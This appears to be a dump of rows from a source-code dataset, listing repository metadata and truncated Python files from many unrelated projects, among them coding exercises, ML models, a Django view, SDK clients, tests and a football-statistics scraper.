blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
213 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
246 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
3a32e88f924763cebc773b157f5ade3bbf566316
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/9BJzrtpdMP8JFQg74_5.py
54241e25ddb6e70ccec2ec15821dcacf5ef26e29
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
652
py
""" Create a function that given a list, it returns the index where if split in two-subarrays (last element of the first array has index of (foundIndex-1)), the sum of them are equal. ### Examples twins([10, 20, 30, 5, 40, 50, 40, 15]) ➞ 5 # foundIndex 5 : [10+20+30+5+40]=[50+40+15] twins([1, 2, 3...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
76e0da4b707763b772483b78ae0ee2af7b3bf9e8
f4d38a475a03d26d0a8cd7994ab9c6669a0d36f5
/targetDirectory/lib/python3.6/ntpath.py
af2cf083df9f1a2cfb1d64f0bbfb9d404ada284c
[]
no_license
karsheng/language-translation
353a7b10d9d1fae9c4464f3fae301a409b947c2b
6eb5c162d029b7c3959b0d5fcabe8e19c1323d47
refs/heads/master
2021-01-19T22:10:15.704917
2017-04-19T16:04:05
2017-04-19T16:04:05
88,764,381
0
0
null
null
null
null
UTF-8
Python
false
false
52
py
/Users/karshenglee/anaconda3/lib/python3.6/ntpath.py
[ "karshenglee@Kars-MacBook-Air.local" ]
karshenglee@Kars-MacBook-Air.local
b9c2ab2a145c713904bc1750e4837b1d3b4cc7d7
bbfa3b7ee2008617d33a7c5c7770d22e1aa8836b
/Neural_Network/_base.py
4297021e909f92cc59ba0f6ba4d9070986e15fba
[ "MIT" ]
permissive
luoshao23/ML_algorithm
1a0046ce9c3abed029cceffa35defe57fffa82b2
6e94fdd0718cd892118fd036c7c5851cf3e6d796
refs/heads/master
2021-08-07T08:38:16.102455
2020-03-18T06:49:43
2020-03-18T06:49:43
92,467,636
4
1
MIT
2018-01-16T05:01:29
2017-05-26T03:20:08
Jupyter Notebook
UTF-8
Python
false
false
1,611
py
from scipy.special import expit as logistic_sigmoid import numpy as np def identity(X): return X def logistic(X): return logistic_sigmoid(X, out=X) def tanh(X): return np.tanh(X, out=X) def relu(X): return np.clip(X, 0, np.finfo(X.dtype).max, out=X) def softmax(X): tmp = X - X.max(axis=1)[...
[ "luoshao23@gmail.com" ]
luoshao23@gmail.com
b7f90b7cf746aca123b7602fbd4d17e1ee97ac65
6b533b5ef49306b0e8db2d147d837659b1a7126b
/homework-3/ad_engine.py
63b9903d99a118275784e95460fdae92733b98ad
[ "MIT" ]
permissive
sofiaruiz/AI_class_assignments
35bff0d4e2fa5cdb61307e20b5af332f96e557a8
16fb74da92e7328163049699b74a4dd897233bcf
refs/heads/master
2022-04-14T10:46:34.487783
2020-04-11T23:37:57
2020-04-11T23:37:57
148,580,772
0
0
null
null
null
null
UTF-8
Python
false
false
4,375
py
''' ad_engine.py CMSI 485 HW 3: Advertisement engine that selects from two ad traits to maximize expected utility of converting a sale for the Forney Industries Protectron 3001 ''' import itertools import unittest import math import numpy as np from pomegranate import * class AdEngine: def __init__(self, data_f...
[ "sruiz13@lion.lmu.edu" ]
sruiz13@lion.lmu.edu
7ecb0fc45ab508097e8473572d1a53221cac4a05
81937f0eec3b78947ab498b118d81e2ec8652c67
/python_code_basic/wgrywanie_dzwieku.py
fea9ee3c1d9a166d1cbca6d7dc8c2c5560b611e6
[]
no_license
dzakub77/python_basics
a0dec25ee30a7ca41256f38295520de0dc1497f2
10f7fe05ed3becb8095412e4811b779d9c7946d8
refs/heads/master
2020-08-26T13:18:20.049654
2020-01-15T15:18:52
2020-01-15T15:18:52
217,023,069
0
0
null
null
null
null
UTF-8
Python
false
false
1,712
py
from livewires import games games.init(screen_width=640, screen_height=480, fps=50) pocisk_sound = games.load_sound('pocisk.wav') # za pomocą funkcji load_sound - można ładować tylko pliki WAV games.music.load('temat.mid') choice = None while choice != '0': print( """ Dźwięk i muzyka ...
[ "jak.inglot@gmail.com" ]
jak.inglot@gmail.com
22455a3f150ef0f3385bd909b0f90762cfa6b38e
a76401f82ed1c9ac47ddaff27681b90f37627426
/.history/student_olx/registration/views_20210920162648.py
fb7e3c1e36051e6495947c6a53f7162f739cf2d1
[]
no_license
RiteshK555/itw-project
e90e1dd13517ee8b07d72cc3bd5a42af367ab587
a2e4c8682c2030ff77da9ade5ae4677bd475f87a
refs/heads/master
2023-08-30T03:48:58.904979
2021-11-10T09:50:59
2021-11-10T09:50:59
410,032,076
0
0
null
null
null
null
UTF-8
Python
false
false
817
py
from django.shortcuts import render from django.contrib.auth import models from django.contrib.auth.forms import UserCreationForm from django.shortcuts import render,redirect from django.contrib.auth.models import User from .models import money # Create your views here. def register(request,response): if response.m...
[ "" ]
5e64b839b47066df063c62dea1b7f5782aef0f90
8e4c82edcb114bd08071e744703e03f6e6cab98a
/docs/conf.py
4032135f1e58cc88a0dba4bd3ec5f47c61447b45
[ "Apache-2.0" ]
permissive
cupid4/slippin-jimmy
915c5d50570ae1e533bc5a33fcbd79304ebd9b7d
d0e52277daff523eda63f5d3137b5a990413923d
refs/heads/master
2020-06-19T00:56:26.124669
2018-05-30T20:59:31
2018-05-30T20:59:31
null
0
0
null
null
null
null
UTF-8
Python
false
false
9,462
py
# -*- coding: utf-8 -*- # # Slippin Jimmy documentation build configuration file, created by # sphinx-quickstart on Thu Mar 31 13:10:29 2016. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file....
[ "webmasterhhp@gmail.com" ]
webmasterhhp@gmail.com
a7314831bd03dc41915aa1ae0b07c843c21756a3
f79673770ab37c86804cd46b83b82b72a99e1ec8
/python-project/test_isPalindrome.py
69ea43b98990852cf7df3aad25796506ac516d3f
[]
no_license
madooei/playground-h2n7ay2w
ddfde03d8cf6260efdc9f61874b95363ec496e87
a86461b4640ae1f1e2c662d715b2f7062f5c68e3
refs/heads/master
2022-08-11T11:28:19.720013
2022-07-21T14:21:24
2022-07-21T14:21:24
174,290,656
0
0
null
null
null
null
UTF-8
Python
false
false
1,998
py
from isPalindrome import isPalindrome def send_msg(channel, msg): print("TECHIO> message --channel \"{}\" \"{}\"".format(channel, msg)) def success(): print("TECHIO> success true") send_msg("My personal Yoda, you are. 🙏", "* ● ¸ . ¸. :° ☾ °  ¸. ● ¸ .  ¸. :. • ") send_msg("My personal Yoda, you are. �...
[ "noreply@github.com" ]
madooei.noreply@github.com
53a60bedfce82eb6c8617cb9f78d86af5ec5433b
0c8174248dedf4b1dc152d4f944165c0313048ea
/220. Contains Duplicate III.py
dcb506cf2bedab2a3a92862caca1119f7b483c30
[]
no_license
linruili/leetcode-python3.5
6c31b4ff8985a4c3f94930698df2de13bf2a1420
01680c813150e5fb9ddd52b0746add5d416104f2
refs/heads/master
2021-01-20T18:45:05.059677
2016-07-01T15:03:08
2016-07-01T15:03:08
61,994,520
0
1
null
null
null
null
UTF-8
Python
false
false
108,153
py
def containsNearbyAlmostDuplicate(nums, k, t): """ :type nums: List[int] :type k: int :type t: int :rtype: bool """ for i in range(len(nums)-1): for j in range(i+1 , min(len(nums) , i+k+1)): if abs(nums[i]-nums[j]) <= t: return True return False L=[24...
[ "linruili1113@gmail.com" ]
linruili1113@gmail.com
92a2c9a2ec7f194f864497a4a7795eeba899fab1
0f727fdca3f37e08ed057abcfeb068b3f4acb84b
/gps_helper/test/test_kalman.py
1d732c3f244605a4ce37104b91e1cf6df728c182
[ "MIT" ]
permissive
Miguel-O-Matic/gps-helper
e7939902201f2e5b1260e2e801439660fe3f4d32
dae3f143281ef930de84a1b783d33aa6e4446040
refs/heads/master
2020-06-24T20:51:34.604777
2019-08-15T12:42:32
2019-08-15T12:42:32
199,085,652
0
0
MIT
2019-07-26T22:08:41
2019-07-26T22:08:41
null
UTF-8
Python
false
false
15,770
py
from .test_helper import GPSTest from .. import kalman as kf from .. import simulator as sim import numpy as np from numpy.linalg import norm from numpy import testing as npt class TestKalman(GPSTest): """ Test class for the kalman functions. """ _multiprocess_can_split_ = True def test_simple_ka...
[ "chiranthsiddappa@gmail.com" ]
chiranthsiddappa@gmail.com
78441b96c0ce2e71662750c075ba367d4d5cdaa5
7ec4e5bc5c7edbe3bf107c64d803bcbe0e66f093
/Lec12/lec12_sorting.py
3243a0869035c2220b9d27c12db85b31f716ea27
[]
no_license
griever255/CompSci_Python_6.0001
8cb8e21d33aec16d8acd649754af02fd92f0fd04
d3145c6880f59299f8d8cce24398526a9c819fff
refs/heads/master
2023-03-09T04:57:42.733165
2021-03-05T02:11:16
2021-03-05T02:11:16
340,723,993
0
0
null
null
null
null
UTF-8
Python
false
false
1,724
py
# -*- coding: utf-8 -*- """ Created on Wed Oct 19 09:21:39 2016 @author: ericgrimson """ # def bubble_sort(L): # swap = False # while not swap: # print('bubble sort: ' + str(L)) # swap = True # for j in range(1, len(L)): # if L[j-1] > L[j]: # swap = False # ...
[ "jgargiulo95@gmail.com" ]
jgargiulo95@gmail.com
02d7db5785df04c2f897243258873da5b4b0ab58
012efe58d791dbc906a4485aad7d097ea336a69b
/pixels.py
c2431788142f24bbc5809f83b2e0ee5ccad10f43
[]
no_license
jorjuato/pythonic
f3cb7c75e530170b75eee1903b633855debafa98
d5ccc603c0748026da18a89a3c3ade218a139cf6
refs/heads/master
2021-01-15T14:29:01.823584
2012-02-27T13:10:16
2012-02-27T13:10:16
3,560,485
0
0
null
null
null
null
UTF-8
Python
false
false
1,259
py
#!/usr/bin/env python import VisionEgg VisionEgg.start_default_logging(); VisionEgg.watch_exceptions() from VisionEgg.Core import * import pygame from pygame.locals import * screen = get_default_screen() screen.set( bgcolor = (0.0,0.0,0.0) ) # black (RGB) white_data = (Numeric.ones((100,200,3))*255).astype(Numeric.U...
[ "yosoymicerinos@yahoo.com" ]
yosoymicerinos@yahoo.com
a9de852a3c55159c7403edb62378d53119e84ca0
dee8056064f6150d15f3180d3b3466834e291bc6
/plotLDOSAndDelta.py
518f098f80cecc155d434f346e9647e90e901109
[]
no_license
glaurung24/SingleMagImp
338dde7eaa3d266ba6add3c465087a2d5c718780
3baa6c39eb6d5e3d63ee5761ced48b1df765d622
refs/heads/master
2023-02-13T21:45:06.456833
2023-01-27T15:37:22
2023-01-27T15:37:22
248,021,237
0
0
null
null
null
null
UTF-8
Python
false
false
3,500
py
# -*- encoding: utf-8 -*- ## @package TBTKview # @file plotLDOS.py # @brief Plot local density of states # # @author Kristofer Björnson import h5py import numpy as np import matplotlib.pyplot as plt import matplotlib.axes import matplotlib.cm import scipy.ndimage.filters import mpl_toolkits.mplot3d import sys from...
[ "andreas.theiler@physics.uu.se" ]
andreas.theiler@physics.uu.se
adbdecf911aa42a3a549d55874bba69c09b8a299
2ffdfe188859d5be1a427ce1c4457d41331b541c
/message/GREEDYMOTIFSEARCH(Dna,k,t)-profile.py
4141b3dd1d68935dd12951302f7307f9a4edb569
[]
no_license
Hydebutterfy/learn-python
18504b0c7281c2b0f94dbc73e77da87c8ac3ff38
883614deaf0a3cdf46d8305197fe5659fd609d60
refs/heads/master
2021-01-24T11:59:44.883949
2016-12-02T07:48:40
2016-12-02T07:48:40
59,213,755
1
0
null
null
null
null
UTF-8
Python
false
false
3,545
py
#GREEDYMOTIFSEARCH(Dna, k, t) #BestMotifs ← motif matrix formed by first k-mers in each string from Dna #for each k-mer Motif in the first string from Dna #Motif1 ← Motif #for i = 2 to t #form Profile from motifs Motif1, …, Motifi - 1 #Motifi ← Profile-most probable k...
[ "chenhyde628@gmail.com" ]
chenhyde628@gmail.com
2bf767c9edf48de2f3c6ab38f546b0cc1b20212a
d12fb60ff73288f101e84e59943b04e2e23e0d3f
/anidbsync/kodi/kodi.py
7af17b7c78559530f565b207591ce253baf9fbc1
[ "MIT" ]
permissive
Tyderion/kodi-anidb-sync
bb5190e9a97da7f5bf8e78da7221c145f5bbeef8
7912184c3fc744d330ae3581f8144fe3a9a1a823
refs/heads/master
2020-09-02T23:47:39.208469
2019-11-15T19:51:54
2019-11-15T19:51:54
219,334,049
0
0
null
null
null
null
UTF-8
Python
false
false
2,896
py
from kodipydent import Kodi from anidbsync.auto import AutoRepr import operator import re # TODO: Solve multiple entries problem from anidbsync.config import KodiConfig class KodiTVShow(AutoRepr): def __init__(self, data): self.id = data['tvshowid'] self.title = data['originaltitle'] if len(data['o...
[ "gabriel.nadler@gmail.com" ]
gabriel.nadler@gmail.com
bededd6fe791e5c9a093dd367ca0f71eb18b58a2
10be352a4d80672c108fc66e86afec977ec830de
/cs1_final/DissemblerSolver.py
4f3206e839c973618fadcc7e275b56dfa5e9afda
[]
no_license
MeganTj/CS1-Python
cef5a7cd812f294812beff58c69514d52e2c1541
09b4a7cfb9bfb6bc64b631e6fd8c35ff35a5ca56
refs/heads/master
2022-02-16T17:49:34.218252
2022-01-27T06:22:29
2022-01-27T06:22:29
178,276,099
0
0
null
null
null
null
UTF-8
Python
false
false
16,984
py
# Name: Megan Tjandrasuwita # CMS cluster login name: mtjandra ''' Solves a Dissembler puzzle given a puzzle in the form of a one-line string. ''' import string from utils import * # ---------------------------------------------------------------------- # Global data. # --------------------------------------------...
[ "26992324+MeganTj@users.noreply.github.com" ]
26992324+MeganTj@users.noreply.github.com
f2016ead70d10ced68bab597dac0c22bfd28423e
d7641647d67d110e08997767e85bbea081c2537b
/bitmovin_api_sdk/encoding/inputs/udp_multicast/udp_multicast_api.py
59839e170880781ece7571d5ff6cbc19d6ee3393
[ "MIT" ]
permissive
aachenmax/bitmovin-api-sdk-python
d3ded77c459852cbea4927ff28c2a4ad39e6026a
931bcd8c4695a7eb224a7f4aa5a189ba2430e639
refs/heads/master
2022-11-16T08:59:06.830567
2020-07-06T07:16:51
2020-07-06T07:16:51
267,538,689
0
1
MIT
2020-07-06T07:16:52
2020-05-28T08:44:44
Python
UTF-8
Python
false
false
3,377
py
# coding: utf-8 from __future__ import absolute_import from bitmovin_api_sdk.common import BaseApi, BitmovinApiLoggerBase from bitmovin_api_sdk.common.poscheck import poscheck_except from bitmovin_api_sdk.models.response_envelope import ResponseEnvelope from bitmovin_api_sdk.models.response_error import ResponseError...
[ "openapi@bitmovin.com" ]
openapi@bitmovin.com
2dd0f2b4ecbe9a9e488c7bbbb3b682fe8d7cc773
108f35831d5f81dd1e8eaace0b05e7202d2258dd
/searchr_app/file_analyzer/FileAnalyzer.py
2a8d62151de3763affead234dd4f587e91b2b260
[]
no_license
cebul55/Searchr_Project
d54c997bb5cc5eda8a066d74adf8bb06dead9ebe
f629439912cdd4e822f549c48740611cab2e9d6f
refs/heads/master
2020-08-05T20:15:02.560090
2020-01-26T23:28:22
2020-01-26T23:28:22
212,691,605
0
0
null
2020-01-26T18:55:51
2019-10-03T22:21:09
Python
UTF-8
Python
false
false
3,940
py
import itertools import json from bs4 import BeautifulSoup from searchr_app.file_analyzer.HTMLFileAnalyzer import HTMLFileAnalyzer from searchr_app.file_analyzer.TextFileAnalyzer import TextFileAnalyzer class FileAnalyzer(object): search_result = None search_phrases_combination = None # phrases defined ...
[ "B.Cybulski@stud.elka.pw.edu.pl" ]
B.Cybulski@stud.elka.pw.edu.pl
e8dd4b99dda3f80a715b9b095438124cf900d209
b1b43bb18fb06ca2c549382622ef7fd041baa7a8
/test/rename.py
619f249df2769199b1e29277fbd5a2362fe28ed1
[]
no_license
easyz/tools_3
3de001b1db30e8a924797142088bcd8af50c3e49
754b8a7be8afd95dee0a79bbe2b947a7cad434a2
refs/heads/master
2021-04-25T19:25:03.268839
2018-05-03T07:25:05
2018-05-03T07:25:05
108,647,106
0
0
null
null
null
null
GB18030
Python
false
false
3,878
py
#coding:gbk from PIL import Image import json import os import shutil import time import math import re def RenameRule01(rule): return lambda name : rule.replace("*", name) def RenameRule02(name): return "_" + name def ReDir(dirName, ruleFunc): dirName = dirName.decode("utf8").encode("gbk") for f in os.l...
[ "yinzhi523@163.com" ]
yinzhi523@163.com
3537aa0fb0be8afecb49e6666914e44afa4ab13f
3e01b405b99c95c48cf97f6d2f0609132e7aa80f
/Project Code/ICG with Quadruples/a.py
48e641adc9f5c9aa8884652dfc5fd106b872f2ad
[]
no_license
rishabh15b/Compiler-Design-CPP
a1ee6944b98295561842795d6f229f37a9d89f53
fe1b43c8dee0c9afa48393aabeec66eaf8c6922e
refs/heads/master
2022-09-22T18:11:48.829062
2020-06-05T10:51:14
2020-06-05T10:51:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,295
py
fp=open("out.txt","r") lines=fp.readlines() #print(lines) #lines.pop() c=0 d_value={} d_reg={} used=[0]*16 #print(lines) i=0 while(i<len(lines)): stmt=lines[i] stmt=stmt.strip("\n") #print(stmt) if("=" in stmt): index=stmt.index("=") lhs=stmt[0:index] exp=stmt[index+1::] lhs=lhs.strip() exp=exp.strip() ...
[ "kashishoberoi00@gmail.com" ]
kashishoberoi00@gmail.com
1d11db0aa1ed010ab524edc4b7847c5ce929f009
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_089/ch78_2020_04_13_14_24_17_375788.py
f3ffd533ba171b545632219f377a3046205a82d8
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
429
py
jogo = True import math while jogo: a = input("Qual o nome?") if a == "sair": jogo = False else: b = float(input("Aceleracao?")) dic = {a:b} dic2 = {} soma = 0 for e in dic: if e not int dic2: dic2[e] = math.sqrt(200/dic[e]) if dic2[e] > soma: ...
[ "you@example.com" ]
you@example.com
62e2055c06bdab8ebe9363f8cb6ba7382d3af888
4577d8169613b1620d70e3c2f50b6f36e6c46993
/students/1798177/homework04/program02.py
2afb7299a76787aa239a4beaaac8f0e9130c4d9e
[]
no_license
Fondamenti18/fondamenti-di-programmazione
cbaf31810a17b5bd2afaa430c4bf85d05b597bf0
031ec9761acb1a425fcc4a18b07884b45154516b
refs/heads/master
2020-03-24T03:25:58.222060
2018-08-01T17:52:06
2018-08-01T17:52:06
142,419,241
0
0
null
null
null
null
UTF-8
Python
false
false
11,331
py
# Il tris è un popolarissimo gioco. Si gioca su una griglia quadrata di 3x3 # caselle. A turno, i due giocatori scelgono una cella vuota e vi disegnano il # proprio simbolo (un giocatore ha come simbolo una 'o' e l'avversario una 'x'). # Vince il giocatore che riesce a disporre tre dei propri simboli in linea retta # o...
[ "a.sterbini@gmail.com" ]
a.sterbini@gmail.com
4226e098d5435a55371697a55303a229897544cd
0f9eb5d747369906c855cf7738f8be6056f6c46d
/travels_management/reports/report.py
6755900c58f3b0395729bec944b9f04d60f6756b
[]
no_license
Rinshi-Cybro/Odoo-Project
38e0ae540c12fb39c13df5a0a68bd6e4625e1424
30ce607db352b19d746dd3d72aaa4e6260e536b4
refs/heads/master
2023-03-06T20:30:40.506008
2021-02-24T11:57:47
2021-02-24T11:57:47
328,082,898
1
0
null
null
null
null
UTF-8
Python
false
false
3,621
py
from odoo import models, fields, api class TravelsReportPrint(models.AbstractModel): _name = 'report.travels_management.print_travels_report' _description = 'Booking Report' @api.model def _get_report_values(self, docids, data=None): """in this function can access the data returned from the b...
[ "rinshi96@gmail.com" ]
rinshi96@gmail.com
e5edc21a34b45ca67e7abb9b03ee9215880f212d
c440bcb0e566ed107d198593bfeb482c59276dd8
/advent_of_code/2021/day10_1.py
2d34868acd58b3462cc9f7332e432aea3f23b3a6
[]
no_license
TheCDC/Musings
1ee917bbf2fd39f6fa97b268568053ca6ad7fbbf
7b07e315230248239bbccad5d85d0a5e8a54d5d8
refs/heads/master
2022-11-30T23:37:24.608955
2021-12-19T08:12:03
2021-12-19T08:12:03
175,046,297
0
0
null
2022-11-22T07:20:49
2019-03-11T17:01:54
Python
UTF-8
Python
false
false
1,751
py
from typing import List, Optional, Tuple with open("inputs/day10.txt") as f: lines = f.read().split() openers = "([{<" closers = ")]}>" points_corruption = {")": 3, "]": 57, "}": 1197, ">": 25137} def complete(opens: List[str]): to_complete = opens[:] completion: List[str] = [] while to_complete: ...
[ "christopher.chen1995@gmail.com" ]
christopher.chen1995@gmail.com
13499e083165756c2b409cacdc7e80ddbc1bb0ee
d7ff534ef84ca89c5e0505f249374a77b74559f9
/services/users/project/api/utils.py
7e051efb9fce1a609dbfaf5feb7d5dd7296d3316
[]
no_license
Muhinyuzi/testdriven-app
10095c25cb0473f73734a3356bfd8d1ce7917c14
625982c8e2bdea3200f6962751210d158365a6a3
refs/heads/master
2022-06-21T06:39:03.323832
2019-12-03T11:28:24
2019-12-03T11:28:24
154,828,668
0
0
null
null
null
null
UTF-8
Python
false
false
1,016
py
# services/users/project/api/utils.py from functools import wraps from flask import request, jsonify from project.api.models import User def authenticate(f): @wraps(f) def decorated_function(*args, **kwargs): response_object = { 'status': 'fail', 'message': 'Provide a valid au...
[ "mujecla007@gmail.com" ]
mujecla007@gmail.com
2466a150d32b4e609db3ff2436a9814b440d4592
764cd26665124fdba7ad36e1dbb5c45cfc3c8ac2
/0x0B-python-input_output/0-read_file.py
c4c3d7507a44edf365cf57fc51ce838ff5cf6eb2
[]
no_license
Athesto/holbertonschool-higher_level_programming
633dbc006ba895e52a7db10b0a6e2f7b65a3f283
5de9c7fa35247ae27c488f1a4ed1db8f7aa6bd5e
refs/heads/master
2023-05-02T21:03:11.872649
2021-05-25T21:09:54
2021-05-25T21:10:59
291,834,251
0
0
null
null
null
null
UTF-8
Python
false
false
196
py
#!/usr/bin/python3 '''task 0''' def read_file(filename=""): '''read file''' with open(filename, 'r', encoding="utf-8") as file: for line in file: print(line, end='')
[ "gamez.live@gmail.com" ]
gamez.live@gmail.com
3b8e576a97ba4ac059b20ebad2031a6905f954f0
e75d8c82d32db8544f90cd298fcbc9bf99570322
/beginnerModel.py
b48fe82c944aa8947bbe9777a2b6be54119edf60
[]
no_license
szr712/SkipRope2
d5069d661bbc84d3f18234e035185e90a4db368d
60941a6362ab200afa3642a4b4708feef44dd7f6
refs/heads/master
2023-04-21T07:04:26.898651
2021-05-12T06:39:19
2021-05-12T06:39:19
360,069,902
1
0
null
null
null
null
UTF-8
Python
false
false
7,082
py
import os from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Dropout from tensorflow.keras.layers import LSTM import tensorflow as tf from tensorflow.python.keras import Input from tensorflow.python.keras.layers import concatenate, add from tensorflow.python.keras.models import M...
[ "zirui990712@163.com" ]
zirui990712@163.com
a7b89574bda58f867c4e82e4edbbf25d5299eca5
b89fb35aed1e3c4d2d7e1240433fe19de0d22238
/lab7/moleCOOLa_git.py
14a2642a05702d1fc8b43a2d4ef559de7086fa16
[]
no_license
ilyapanov1202/infa_2019_ivanov
0a2c7e56c3383d4da8b86ebeed93538fb96e2fdb
f90a12ab37bd0d6cbc8beb1dfd9b536c73f4cd5e
refs/heads/master
2020-07-28T21:14:06.976069
2019-10-31T12:47:54
2019-10-31T12:47:54
209,539,455
0
0
null
null
null
null
UTF-8
Python
false
false
6,515
py
from tkinter import * from random import randrange as rnd import time root = Tk() root.geometry('185x170') entry_text1 = StringVar() entry1 = Entry(root, textvariable = entry_text1, font = "Arial 36", bd = 12, width = 6) entry1.insert(0, "") entry1.place(relx = 0, rely = 0) def entry1_g...
[ "panov.ia@phystech.edu" ]
panov.ia@phystech.edu
5cc782ae961498b0b58560713f086c5bc4bfa0ed
4f48e707f6a50adb40c13aaee1d10d9d76c81780
/logsapp/migrations/0001_initial.py
86dd00cf84cba4766c5eb9bfc533c575d077c607
[]
no_license
rishanexe/logistics
a7c3421e4a8493bc71559b7e76ed2824a880bdc3
e383929d8247842bfbc2e53e6822b07a4bf85402
refs/heads/master
2020-04-26T08:36:46.057822
2019-04-04T17:29:22
2019-04-04T17:29:22
173,428,159
1
1
null
null
null
null
UTF-8
Python
false
false
1,212
py
# Generated by Django 2.1.7 on 2019-03-03 09:28 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Details', fields=[ ('id', models.AutoField(...
[ "ri5han@github.com" ]
ri5han@github.com
fac016a72c1b7602d5ce283cbfdbcf983e781f19
d83ad2d6dd921cff284db58bc8a212d7e97d132c
/python/SparseMatrix.py
9140c87fa65e4e385aea83d0b591e281e45189a3
[]
no_license
BradleyMorgan/COMP7970-004-FinalProject
493f8e62b96f34d647a3b15c635f611367cd8ab5
dba2bb72142bfcf94c25448948466af267ed15fa
refs/heads/master
2021-08-22T23:09:11.143733
2017-12-01T15:34:30
2017-12-01T15:34:30
109,397,317
0
0
null
2017-11-03T13:14:07
2017-11-03T13:14:06
null
UTF-8
Python
false
false
3,216
py
import random import scipy.io as sio from math import sqrt class SparseMatrix(): def __init__(self, fileName = 'blogcatalog.mat'): self._data = None self.edge_size = 0 self.node_size = 0 self.InstanceToFeature = list() self.FeatureToInstance = list() self.load_from_ma...
[ "robinsa87@gmail.com" ]
robinsa87@gmail.com
d6cbfefec0772206808b2dbfbe06b5750a86f444
c3abc9e55a0a57027ef6928e83443e2ba7fcfbdf
/lhzutil.py
41e0dbf406614ce7b1b0dc40b4c0b0e077e0b428
[ "Apache-2.0" ]
permissive
Q5EbA7Vdyw84efER/wxBot
590de2355f1f8be7e3aff2846ef1900459eaf958
98c7acee5a076332c8de2bac091e04d7f661edb6
refs/heads/master
2020-03-24T14:21:22.283861
2018-12-25T06:13:26
2018-12-25T06:13:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
520
py
# -*- coding: utf-8 -*- # 获取字符串中匹配子串的最后一个位置 def find_last(string, str): last_position = -1 while True: position = string.find(str, last_position+1) if position == -1: return last_position last_position = position # 将文件名改写成小文件名 def thumbFilePath(filepath): ...
[ "lhz@lhzs-Macbook-Pro.local" ]
lhz@lhzs-Macbook-Pro.local
04f197160e35435fcf10385457b3c47a54990aec
0ba0e1f45275358d134a33c25fa0d881cb73706a
/scrapers/scrape_player_stats.py
9303b60ba9215dd8737fec3cd3193a905205432e
[]
no_license
C-Roensholt/ScrapeDanishSuperligaData
c8a888209e0221f7a392a77e7b15218a7e888ba1
d80c029e06b1ec26df5d6989884ff6a220f1bd53
refs/heads/main
2023-07-03T10:32:19.793708
2021-08-03T09:02:02
2021-08-03T09:02:02
391,692,055
1
1
null
null
null
null
UTF-8
Python
false
false
15,798
py
#%% import pickle import time import pandas as pd from selenium import webdriver from functools import reduce def get_player_overall_stats(driver, url, get_all=False): driver.get(url) time.sleep(3) # change to player stats player_button = driver.find_element_by_xpath('//*[@id="__layout"]/div...
[ "ronsholt32@gmail.com" ]
ronsholt32@gmail.com
a63796007e54fbdde56559bc9935e176c6ce52c4
a392216464aea36f81c7dc29de5595c0f5331565
/test.py
2d66f54a7d4b983057934fc3f61f705574d65af9
[]
no_license
renecotyfanboy/bh
98a3722411383e08c9f7aa9aa3403ed8d13c9a5f
8b601d96db5c22360d0d41e52a4ef1d69c23d511
refs/heads/master
2022-09-01T22:53:36.554676
2020-05-25T10:42:25
2020-05-25T10:42:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
569
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun May 24 01:54:00 2020 @author: simon """ #%% Example code import numpy as np import matplotlib.pyplot as plt import tempfile from os.path import join from tqdm import tqdm from matplotlib import cm from matplotlib import colors,image from tools.imager i...
[ "49200287+renecotyfanboy@users.noreply.github.com" ]
49200287+renecotyfanboy@users.noreply.github.com
88be9db0202831cb66b600f8534377dc0698b3d3
c4b86ca323a9725e80e17c5a56a2b60a6194fcda
/adaboost.py
7047d283957f420c610c60ea7b902fb6b09fc04b
[]
no_license
shivgupt/Whats-the-Correct-Orientation
3d8c2991bb1c65b5de1d1a7d5ed6a230884bfa0c
6f32609ba1aad11b10f993456ad7e1680bba64df
refs/heads/master
2021-06-10T21:46:18.892800
2016-12-31T22:34:40
2016-12-31T22:34:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
336
py
#!/usr/bin/python """ Adaboost """ import time def train(traind, N): starttime = time.time() print " Training...", print "Done in", round(time.time() - starttime, 5), "seconds!" def test(testd, N): starttime = time.time() print " Testing...", print "Done in", round(time.time() - starttime,...
[ "bohenderson93@gmail.com" ]
bohenderson93@gmail.com
20675f33d29bf73a3bcfb2d44baa70a43ba27ed0
e002510c48f271ffcc36449f2c866d29e0bb2a4b
/AoC/2018/05/05.py
330ff11fe3cf88c9c56de54ee8ab57c0ea92d5e8
[]
no_license
petreleon/CodingChallanges
6da5b45abcb6d9e10acbf78d6eb695eaa413fff7
3b213938a90c0e477ec592b0cb5cb2826971b8ea
refs/heads/master
2023-02-07T23:32:05.390242
2020-12-25T23:17:32
2020-12-25T23:17:32
